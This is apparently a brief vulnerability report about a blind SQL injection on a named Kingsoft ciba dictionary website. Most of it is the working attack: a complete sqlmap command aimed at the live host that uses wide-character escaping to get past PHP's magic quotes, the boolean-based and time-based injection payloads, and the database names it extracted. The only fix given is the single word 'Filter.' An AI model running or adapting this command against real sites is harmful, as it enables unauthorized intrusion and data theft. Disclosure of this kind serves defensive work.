Kingsoft ciba website MySQL blind note (bypassing GPC escape)

Kingsoft ciba website MySQL blind note (bypassing GPC escape)

After reading this hole, WooYun: the SQL injection in the Kingsoft node has been fixed.
But wide characters can be used to bypass GPC addslashes

sqlmap.py -u "http://hanyu.iciba.com/wiki/index.php?edition-compare-1" --data "eid[0]=2&eid[1]=19&eid[2]=-3" -p "eid[2]" --tamper unmagicquotes.py --dbs

Parameter: eid[2] (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: eid[0]=2&eid[1]=19&eid[2]=-3) AND 7398=7398 AND (1143=1143 Vector: AND [INFERENCE] Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: eid[0]=2&eid[1]=19&eid[2]=-3) AND (SELECT * FROM (SELECT(SLEEP(5)))Vrba) AND (2471=2471 Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

available databases [3]:[*] chinese[*] information_schema[*] test

Solution:

Filter.